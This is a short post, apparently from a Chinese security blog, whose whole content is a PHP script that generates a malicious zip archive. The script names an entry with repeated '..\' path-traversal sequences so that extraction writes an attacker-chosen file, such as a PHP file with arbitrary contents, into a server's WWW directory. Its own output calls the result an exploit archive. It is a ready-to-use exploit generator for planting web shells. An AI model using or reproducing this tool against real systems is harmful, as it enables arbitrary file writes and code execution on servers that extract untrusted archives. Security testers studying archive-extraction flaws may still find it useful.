生成非常规.zip文件

by Netfairy - 2017-03-12
<?php
 if($argc<4)
 {
 	echo "Usage: <zip name> <path depth> <exploit file name> <exploit file content>";
 	echo "\nE.g: test.zip 2 test.php \"hello world!\"";
 	exit();
 }
 if(!empty($argv[2])&&is_numeric($argv[2]))
 {
 	$zipname=$argv[1];
 	$depth=$argv[2];
 	$exploit_file=$argv[3];
	$cmd=$argv[4];
 }
 else
 {
 	echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'";
 	exit();
 }
$zip = new ZipArchive();
$res = $zip->open("$zipname", ZipArchive::CREATE);
$zip->addFromString(str_repeat("..\\",$depth)."\\WWW\\".$exploit_file, $cmd);
$zip->close();
echo "\r\nExploit archive $zipname created using $exploit_file\r\n";
echo "================ Netfairy ===================";
?>